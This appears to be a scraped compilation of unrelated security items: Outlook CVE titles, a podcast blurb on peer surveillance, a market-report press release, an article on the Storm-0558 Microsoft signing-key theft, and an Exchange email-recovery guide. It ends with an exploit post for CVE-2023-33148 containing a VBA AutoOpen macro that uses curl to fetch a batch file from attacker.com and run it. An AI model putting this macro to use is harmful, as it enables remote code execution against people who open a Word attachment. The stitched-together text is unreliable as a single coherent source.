Microsoft Outlook for Mac Spoofing Vulnerability

CVE-2023-35619

Microsoft Outlook Elevation of Privilege Vulnerability

CVE-2023-23397

Outlook for Android Elevation of Privilege Vulnerability.

CVE-2022-24480

Microsoft Outlook for Mac Security Feature Bypass Vulnerability.

CVE-2022-23280

Microsoft Outlook for Mac Security Feature Bypass Vulnerability

This week on the Lock and Code podcast, we speak with Anna Brading and Mark Stockley from Malwarebytes about the apparent "appeal" of Little Brother surveillance, whether the tenets of privacy can ever fully defeat that surveillance, and what the possible merits of this surveillance could be.

_This week on the Lock and Code podcast…_

A worrying trend is cropping up amongst Americans, particularly within Generation Z—they’re spying on each other more.

Whether reading someone’s DMs, rifling through a partner’s text messages, or even rummaging through the bags and belongings of someone else, Americans _enjoy_ keeping tabs on one another, especially when they’re in a relationship. According to recent research from Malwarebytes, a shocking 49% of Gen Zers agreed or strongly agreed with the statement: “Being able to track my spouse’s/significant other’s location when they are away is extremely important to me.”

On the Lock and Code podcast with host David Ruiz, we’ve repeatedly tackled the issue of surveillance, from the NSA’s mass communications surveillance program exposed by Edward Snowden, to the targeted use of Pegasus spyware against human rights dissidents and political activists, to the purchase of privately-collected location data by state law enforcement agencies across the country. But the type of surveillance we’re talking about today is different. It isn’t so much “Big Brother”—a concept introduced in the socio-dystopian novel 1984 by author George Orwell. It’s “Little Brother.”

As far back as 2010, in a piece titled “Little Brother is Watching,” author Walter Kirn wrote for the New York Times:

>  “As the internet proves every day, it isn’t some stern and monolithic Big Brother that we have to reckon with as we go about our daily lives, it’s a vast cohort of prankish Little Brothers equipped with devices that Orwell, writing 60 years ago, never dreamed of and who are loyal to no organized authority. The invasion of privacy — of others’ privacy but also our own, as we turn our lenses on ourselves in the quest for attention by any means — has been democratized.”

Little Brother is us, recording someone else on our phones and then posting it on social media. Little Brother is us, years ago, Facebook stalking someone because they’re a college crush. Little Brother is us, watching a Ring webcam of a delivery driver, including when they are mishandling a package but also when they are doing a stupid little dance that we requested so we could post it online and get little dopamine hits from the Likes. Little Brother is our anxieties being _soothed_ by watching the shiny blue GPS dots that represent our husbands and our wives, driving back from work.

Little Brother isn’t just surveillance. It is increasingly popular, normalized, and accessible surveillance. And it’s creeping its way into more and more relationships every day. 

So, what can stop it? 

Today, we speak with our guests, Malwarebytes security evangelist Mark Stockley and Malwarebytes Labs editor-in-chief Anna Brading, about the apparent “appeal” of Little Brother surveillance, whether the tenets of privacy can ever fully defeat that surveillance, and what the possible merits of this surveillance could be, including, as Stockley suggested, in revealing government abuses of power. 

> “My question to you is, as with all forms of technology, there are two very different sides for this. So is it bad? Is it good? Or is it just oxygen now?” 

Tune in today to listen to the full conversation.

You can also find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

 Defeating Little Brother requires a new outlook on privacy: Lock and Code S04E23 

**DUBLIN, Oct. 27, 2022 /PRNewswire/ —** The "Banking Encryption Software Market Size, Share & Trends Analysis Report by Component, by Deployment, by Enterprise Size, by Function (Cloud Encryption, Folder Encryption), by Region, and Segment Forecasts, 2022-2030" report has been added to **ResearchAndMarkets.com's** offering.

The global banking encryption software market size is expected to reach USD 5.03 billion by 2030, expanding at a CAGR of 13.0% from 2022 to 2030, according to this study conducted. The growing need for modern security solutions worldwide is anticipated to drive the growth of the industry. In addition, the rising incidences of cyber-attacks also bode well for growth.

Banking encryption software facilitates the confidential exchange of vital data by encrypting the data at the sender's end in a form not readable without a proper authentication key, which is usually in the form of a password. The receiver can use the authentication key to decrypt the data and read it. The strong emphasis banks and other financial institutions are putting on securing data transactions is driving the adoption of banking encryption software.

The growing partnerships among the encryption software providers are expected to drive market growth. For instance, In April 2021, Google Cloud and Broadcom collaborated. This collaboration increased the integration of cloud services into Broadcom's primary software franchises. In this partnership, Broadcom was able to make enterprise operations software and its security suite available on Google Cloud, enabling organizations to encrypt and decrypt data at the column level.

**Banking Encryption Software Market Report Highlights**

*   The software segment is expected to dominate the segment over the forecast period. This is due to its offered benefits such as security and privacy protection to the financial institutes
*   The cloud segment is anticipated to witness the fastest growth over the projection period. The growth of the segment can be attributed to the inexpensive deployment and customization options
*   The large enterprise segment dominated the market in 2021. Large organizations are adopting encryption solutions to meet the changing security needs owing to the rising incidences of cybercrimes
*   The cloud encryption segment is anticipated to witness the fastest growth because of its capability to facilitate a cost-effective and scalable encryption model
*   The Asia Pacific regional market is expected to witness the fastest growth over the projection period due to an increase in demand for encryption software among banks in developing countries in the Asia-Pacific, including China and India, to safeguard and ensure the privacy of data

**Key Topics Covered**

Chapter 1: Methodology and Scope  
Chapter 2: Executive Summary  
Chapter 3: Banking Encryption Software Industry Outlook  
Chapter 4: Investment Landscape Analysis  
Chapter 5: FinTech Industry Highlights  
Chapter 6: Banking Encryption Software Component Outlook  
Chapter 7: Banking Encryption Software Deployment Outlook  
Chapter 8: Banking Encryption Software Enterprise Size Outlook  
Chapter 9: Banking Encryption Software Function Outlook  
Chapter 10: Banking Encryption Software Regional Outlook  
Chapter 11: Competitive Analysis  
Chapter 12: Competitive Landscape

**Companies Mentioned**

*   Broadcom
*   ESET North America
*   IBM Corporation
*   Intel Corporation
*   McAfee, LLC
*   Microsoft
*   Sophos Ltd.
*   Thales Group
*   Trend Micro Incorporated
*   WinMagic

For more information about this report visit https://www.researchandmarkets.com/r/fp92vx.

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Worldwide Banking Encryption Software Market to Reach $5.03 Billion by 2030 at a 13% CAGR

Microsoft says hackers somehow stole a cryptographic key, perhaps from its own network, that let them forge user identities and slip past cloud defenses.

For most IT professionals, the move to the cloud has been a godsend. Instead of protecting your data yourself, let the security experts at Google or Microsoft protect it instead. But when a single stolen key can let hackers access cloud data from dozens of organizations, that trade-off starts to sound far more risky.

Late Tuesday evening, Microsoft revealed that a China-based hacker group, dubbed Storm-0558, had done exactly that. The group, which is focused on espionage against Western European governments, had accessed the cloud-based Outlook email systems of 25 organizations, including multiple government agencies.

Those targets encompass US government agencies including the State Department, according to CNN, though US officials are still working to determine the full scope and fallout of the breaches. An advisory from the US Cybersecurity and Infrastructure Security Agency says the breach, which was detected in mid-June by a US government agency, stole unclassified email data “from a small number of accounts.”

China has been relentlessly hacking Western networks for decades. But this latest attack uses a unique trick: Microsoft says hackers stole a cryptographic key that let them generate their own authentication “tokens”—strings of information meant to prove a user’s identity—giving them free rein across dozens of Microsoft customer accounts.

“We put trust in passports, and someone stole a passport-printing machine,” says Jake Williams, a former NSA hacker who now teaches at the Institute for Applied Network Security in Boston. “For a shop as large as Microsoft, with that many customers impacted—or who could have been impacted by this—it’s unprecedented.”

In web-based cloud systems, users’ browsers connect to a remote server and, when they enter credentials like a username and password, they’re given a bit of data, known as a token, from that server. The token serves as a kind of temporary identity card that lets users come and go as they please within a cloud environment while only occasionally reentering their credentials. To ensure that the token can’t be spoofed, it’s cryptographically signed with a unique string of data known as a certificate or key that the cloud service possesses, a kind of unforgeable stamp of authenticity.

Microsoft, in its blog post revealing the Chinese Outlook breaches, has described a kind of two-stage breakdown of that authentication system. First, hackers were somehow able to steal a key that Microsoft uses to sign tokens for consumer-grade users of its cloud services. Second, the hackers exploited a bug in Microsoft’s token validation system, which allowed them to sign consumer-grade tokens with the stolen key and then use them to instead access enterprise-grade systems. All of this occurred despite Microsoft’s attempt to check for signatures from different keys for those different grades of token.

Microsoft says it has now blocked all tokens that were signed with the stolen key and replaced the key with a new one, preventing the hackers from accessing victims’ systems. The company adds that it has also worked to improve the security of its “key management systems” since the theft occurred.

But exactly how such a sensitive key, allowing such broad access, could be stolen in the first place remains unknown. WIRED contacted Microsoft, but the company declined to comment further.

In the absence of more details from Microsoft, one theory of how the theft occurred is that the token-signing key wasn’t in fact stolen from Microsoft at all, according to Tal Skverer, who leads research at the security Astrix, which earlier this year uncovered a token security issue in Google’s cloud. In older setups of Outlook, the service is hosted and managed on a server owned by the customer rather than in Microsoft’s cloud. That might have allowed the hackers to steal the key from one of these “on-premises” setups on a customer’s network.

Then, Skverer suggests, hackers might have been able to exploit the bug that allowed the key to sign enterprise tokens to gain access to an Outlook cloud instance shared by all the 25 organizations hit by the attack. “My best guess is that they started from a single server that belonged to one of these organizations,” says Skverer, “and made the jump to the cloud by abusing this validation error, and then they got access to more organizations that are sharing the same cloud Outlook instance.”

But that theory doesn’t explain why an on-premises server for a Microsoft service inside an enterprise network would be using a key that Microsoft describes as intended for signing consumer account tokens. It also doesn’t explain why so many organizations, including US government agencies, would all be sharing one Outlook cloud instance.

Another theory, and a far more troubling one, is that the token-signing key used by the hackers was stolen from Microsoft’s own network, obtained by tricking the company into issuing a new key to the hackers, or even somehow reproduced by exploiting mistakes in the cryptographic process that created it. In combination with the token validation bug Microsoft describes, that may mean it could have been used to sign tokens for any Outlook cloud account, consumer or enterprise—a skeleton key for a large swath, or even all, of Microsoft’s cloud.

The well-known web security researcher Robert “RSnake” Hansen says he read the line in Microsoft’s post about improving the security of “key management systems” to suggest that Microsoft’s “certificate authority”—its own system for generating the keys for cryptographically signing tokens—was somehow hacked by the Chinese spies. “It’s very likely there was either a flaw in the infrastructure or configuration of Microsoft’s certificate authority that led an existing certificate to be compromised or a new certificate to be created,” Hansen says.

If the hackers did in fact steal a signing key that could be used to forge tokens broadly across consumer accounts—and, thanks to Microsoft’s token validation issue, on enterprise accounts, too—the number of victims could be far greater than 25 organizations Microsoft has publicly accounted for, warns Williams.

To identify enterprise victims, Microsoft could look for which of their tokens had been signed with a consumer-grade key. But that key could have been used to generate consumer-grade tokens, too, which might be far harder to spot given that the tokens might have been signed with the expected key. “On the consumer side, how would you know?” Williams asks. “Microsoft hasn’t discussed that, and I think there’s a lot more transparency that we should expect.”

Microsoft’s latest Chinese spying revelation isn’t the first time state-sponsored hackers have exploited tokens to breach targets or spread their access. The Russian hackers who carried out the notorious Solar Winds supply chain attack also stole Microsoft Outlook tokens from victims’ machines that could be used elsewhere on the network to maintain and expand their reach into sensitive systems.

For IT administrators, those incidents—and particularly this latest one—suggest some of the real-world trade-offs of migrating to the cloud. Microsoft, and most of the cybersecurity industry, has for years recommended the move to cloud-based systems to put security in the hands of tech giants rather than smaller companies. But centralized systems can have their own vulnerabilities—with potentially massive consequences.

“You’re handing over the keys to the kingdom to Microsoft,” says Williams. “If your organization is not comfortable with that now, you don’t have good options.”

How a Cloud Flaw Gave Chinese Spies a Key to Microsoft’s Kingdom

By Waqas
Accidentally deleted emails? Don’t panic! This guide explains how to recover them from Exchange Server within the retention…
This is a post from HackRead.com Read the original post: How to Recover Deleted Emails from Exchange Server?

Accidentally deleted emails? Don’t panic! This guide explains how to recover them from Exchange Server within the retention period. Plus, learn 5 tips to avoid future email loss!

Users, sometimes, delete important emails **and other data by mistake** or intentionally. The Exchange Server stores deleted emails for a certain period, known as the Retention Period, before purging them. This period is usually 14 days but can also be changed/extended by the administrator.

As an Exchange administrator, you can recover deleted emails from the Exchange Server before the retention period is over. If the retention period on the server has expired, the emails can only be **retrieved from the backup**. This article will explain the stepwise process to recover deleted emails from the Exchange Server.

****Steps to Recover Deleted Emails from the Exchange Server** **

Here is the stepwise process to recover deleted emails from Exchange Server within the retention period.

****Step 1: Check and Assign Required Permissions****

For the process, you need to do a content search and then save the recovered emails to a PST file. For this, you must have permission to run the following commands.

*   Search-Mailbox
*   New-MailboxExportRequest

To identify the roles and permissions needed, you can execute the following command in the Exchange Management Shell (EMS):

Get-ManagementRole -Cmdlet <command required>

This will list all the management roles needed. Next, you need to see the permissions to run the command. To know these permissions, run the following command:

$Permissions = Get-ManagementRole -Cmdlet <required command>

$Permissions | foreach {Get-ManagementRoleAssignment -Role $\_.Name -Delegating $false | Format-Table -Auto Role,RoleAssigneeType,RoleAssigneeName}

Once you know the permissions and roles needed, you can set them for the user who will be used to recover the deleted emails.

****Step 2: Search for the Deleted Data****

You can use the Search-Mailbox command to run a search query against the database where the specified mailbox resides. If the user has exhausted the search in the mailbox using Outlook or Outlook Web Access (OWA), you can run the following query:

Search-Mailbox “<mailbox>” -SearchQuery “from:’SenderName’ AND ‘Keywords'” -TargetMailbox “Discovery Search Mailbox” -TargetFolder “RecoveryFolderName” -LogLevel Full

The above command will search the specified mailbox and retrieve the results in the Discovery Search Mailbox in the specified target folder. If you want to only search items in the **Recoverable** **Items** folder, you can use the **SearchDumpsterOnly** switch (see the below example).

Search-Mailbox “<mailbox>” -SearchQuery “from:’SenderName’ AND ‘Keywords'” -TargetMailbox “Discovery Search Mailbox” -TargetFolder “RecoveryFolderName” -SearchDumpsterOnly -LogLevel Full

****Step 3: Recover the Data****

The recovered data will be stored in the Discovery Search Mailbox. You can export the recovered data from the Discovery Search Mailbox to a PST file. For this, you can use the New-MailboxExportRequest command (see the below example).

New-MailboxExportRequest -Mailbox “Discovery Search Mailbox” -SourceRootFolder “RecoveryFolderName” -FilePath <unc path to destination>

If you want to filter the export, you can use the content filter switches.

New-MailboxExportRequest -Mailbox “Discovery Search Mailbox” -SourceRootFolder “RecoveryFolderName” -ContentFilter {Subject -eq “‘Email Subject'”} -FilePath <unc path to destination>

Once the export is completed, simply copy the PST file to the user’s computer/device and open/import it into Outlook to access the desired emails.

****Limitations of the Above Process****

Below are some limitations of the above manual process.

*   You can only search in one mailbox at a time.
*   You need specific permissions to search and extract the data.
*   You can only search through mailboxes or databases which are active.
*   You cannot restore the deleted emails if the retention period has passed.
*   You need scripting skills when it comes to the search by using the KQL language.

****An Easy and Quick Way to Recover Deleted Emails from Exchange Server****

To overcome the limitations of the above process, you can use a third-party **Exchange server recovery tool**, such as Stellar Repair for Exchange to recover deleted emails from the Exchange Server database. With this application, you can open databases with or without a live Exchange Server and search through the databases with minimal effort and a fully functional and simple interface. 

To recover the deleted items, you simply need to click on the Recoverable Items Folder button and select from the various options – versions, purges, deletions, audit logging, eDiscovery holds, and others.

Once selected, the data will be loaded in an Outlook-like interface. After this, you can export the data to PST and other file formats. You can also export the data directly to a live Exchange Server database or Exchange Online (**Office 365**) with automatic mailbox matching. The application can also be used to recover user mailboxes, user archives, shared mailboxes, disabled mailboxes, and even public folders.

****Conclusion****

Above, we have discussed the native method to search and recover deleted emails from an Exchange Server. However, you can recover the deleted emails from Exchange Server within the retention period only. In addition, there are some limitations to this method.

Nevertheless, make sure you don’t put yourself or your organisation in a situation in which important data is intentionally or unintentionally lost. Here are 5 steps to avoid deletion of emails from your Exchange server:

1.  **Leave copies of messages on the server:** This ensures a copy of your emails remains on the server even after deletion from your Outlook client.
2.  **Disable “Empty Deleted Items when Exiting Outlook”:** This prevents Outlook from automatically deleting emails from your Deleted Items folder when you close the program.
3.  **Configure folder AutoArchive settings:** You can exclude specific folders from automatic archiving, which can sometimes delete emails based on pre-set rules.
4.  **Increase mailbox storage quota (if applicable):** If your mailbox reaches its storage limit, Exchange might automatically start deleting emails. Requesting a higher quota from your IT admin can prevent this.
5.  **Understand and adjust automatic deletion policies:** Some organizations have server-side policies for deleting old emails. Talk to your IT administrator to understand these policies and see if any adjustments can be made to your mailbox.

1.  Software Review: Stellar Repair for Exchange
2.  How to Hide Tables in SQL Server Management Studio
3.  How to Install Microsoft Exchange Updates with Reliability
4.  MySQL Performance Tuning: Top 5 Tips for Blazing Fast Queries
5.  Stellar Data Recovery Pro – A user-friendly data recovery software

How to Recover Deleted Emails from Exchange Server?

Microsoft Office 365 version 18.2305.1222.0 suffers from a remote code execution vulnerability when a malicious link is clicked on in a Word file.

    ## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation ofPrivilege Vulnerability + RCE.## Author: nu11secur1ty## Date: 07.18.2023## Vendor: https://www.microsoft.com/## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office## Reference: https://portswigger.net/web-security/access-control## CVE-2023-33148## Description:The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable toElevation of Privilege.The attacker can use this vulnerability to attach a very maliciousWORD file in the Outlook app which is a part of Microsoft Office 365and easily can trick the victim to click on it - opening it andexecuting a very dangerous shell command, in the background of thelocal PC. This execution is without downloading this malicious file,and this is a potential problem and a very dangerous case! This can bethe end of the victim's PC, it depends on the scenario.WARNING! Office 365 executes files directly from Outlook, without tempdownloading, security checking and etc.## Staus: HIGH Vulnerability[+]Exploit:- - - NOTE:This exploit is connected to the third-party server, and when thevictim clicks on it and opens it the content of the script which isinside will fetch on the machine locally and execute himself by usingMS Office 365 and Outlook app which is a part of the 365 API.```vbSub AutoOpen()  Call Shell("cmd.exe /S /c" & "curl -shttps://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat&& .\salaries.bat", vbNormalFocus)End Sub```## Reproduce:[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)## Proof and Exploit[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)## Time spend:00:35:00-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ andhttps://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>

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